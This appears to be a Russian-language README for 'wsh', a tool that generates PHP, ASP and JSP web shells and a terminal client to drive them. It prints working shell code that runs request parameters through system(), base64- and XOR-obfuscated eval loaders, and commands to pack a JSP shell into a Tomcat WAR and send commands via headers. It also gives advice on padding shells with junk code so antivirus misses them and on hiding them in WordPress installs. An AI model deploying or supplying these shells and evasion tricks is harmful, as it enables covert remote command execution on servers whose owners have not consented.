
Генератор веб-шеллов и интерфейс командной строки.
wsh (произносится ву́ш) — это генератор веб-шеллов и интерфейс командной строки. Всё началось с простого HTTP-клиента, потому что взаимодействие с веб-шеллами — это мука. Есть форма: чтобы отправить команду, нужно ввести её в поле ввода и нажать кнопку. Я хотел нечто, что лучше вписывается в мой рабочий процесс и работает в терминале. Так родился wsh.
Клиент поддерживает историю команд, ведение журнала и может быть настроен на взаимодействие с ранее развернутым стандартным веб-шеллом с формой/кнопкой. Генератор создаёт веб-шеллы на PHP, ASP и JSP. Они генерируются со случайными переменными, так что каждый будет иметь уникальный хеш. Их можно настроить с белым списком, паролями и разрешить отправку команд через пользовательские заголовки и параметры. Генератор и клиент могут быть настроены через флаги командной строки или файлы конфигурации, что позволяет сохранить настройки, работающие для вас, без того, что я называю «танцами с --help». После настройки клиент и генератор используют один и тот же конфигурационный файл.
wsh <URL> [flags]
-X, --method string HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
--param string Parameter for sending command
--header string Header for sending command
-P, --params strings HTTP request parameters
-H, --headers strings HTTP request headers
-c, --config string Config file
-k, --ignore-ssl Ignore invalid certs
--log string Log file
--prefix string Prepend command: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Request timeout in seconds (default 10)
--trim-prefix string Trim output prefix
--trim-suffix string Trim output suffix
-h, --help help for wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parameter for sending command
--header string Header for sending command
-w, --whitelist strings IP addresses to whitelist
-o, --outfile string Output file
--no-file Disable file upload/download capabilities
--pass string Password protect shell
--pass-header string Header for sending password
--pass-param string Parameter for sending password
--xor-header string Header for sending xor key
--xor-key string Key for xor encryption
--xor-param string Parameter for sending xor key
--base64 Base64 encode shell
--minify Minify webshell code
-t, --template string Webshell template file
-h, --help help for generate
Я хотел, чтобы клиент был независимым от языка, поэтому все веб-шеллы должны были реализовать одинаковую логику загрузки/скачивания. К сожалению, выполнять multipart-загрузку нативно в JSP и классическом ASP проблематично, поэтому файлы загружаются в виде base64 в параметре. Это не идеально, так как максимальный размер загружаемого файла ограничен максимальным размером параметра. В будущем я, возможно, попробую реализовать multipart-загрузку или выполнять несколько запросов для передачи больших файлов.
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Download file
put <local filepath> [remote filepath] Upload file
clear Clear screen
exit Exits shell
Следующие команды генерируют и взаимодействуют с простым PHP веб-шеллом.
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
Команды также можно отправлять через HTTP-заголовки.
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
Пароли могут передаваться через параметры или заголовки.
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
Эта функциональность интересна, но может потребовать некоторой модификации шаблонов для полезного использования. В случае ASP и JSP библиотеки, облегчающие декодирование base64, являются известными IOC и будут помечены. Если вы заинтересованы в использовании этих функций, я рекомендую изменить шаблон и обфусцировать.
То же, что и с паролем: ключ XOR может передаваться через параметр или заголовок.
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
Чтобы сгенерировать веб-шелл, который можно развернуть в Tomcat, создайте JSP-шелл с именем index.jsp и выполните команду ниже, чтобы упаковать его в war-файл.
Иногда в среде Tomcat отсутствуют библиотеки, необходимые для загрузки/скачивания файлов, и шелл будет выдавать ошибку при запросе. Чтобы исправить это, используйте флаг --no-file.
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
Использование библиотеки шаблонов Go добавляет много гибкости генератору. Иногда веб-шелл может быть обнаружен антивирусом, однако я обнаружил, что добавление большого количества случайного кода в файл шаблона часто делает шелл достаточно безобидным, чтобы позволить ему сохраниться на диске. Я включил пример в файл templates/covert-php.tml.
Кроме того, вы можете изменить эти шаблоны, чтобы включить ваше имя/контактную информацию для атрибуции в случае пентеста.
Можно указать префикс, чтобы добавлять строку к каждой команде, отправляемой в шелл. Это можно использовать для превращения обычной командной строки в шелл PowerShell.
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
Журналы содержат временные метки и информацию о хосте, с которым происходит взаимодействие. Файлы журналов дополняются, так что вы можете использовать один и тот же файл для нескольких сессий/хостов.
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
Клиент можно настроить на обрезку лишнего HTML-содержимого из запроса; это полезно при взаимодействии со стандартными веб-шеллами с HTML-интерфейсом или если сгенерированный шелл скрытно встроен в установку WordPress.
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates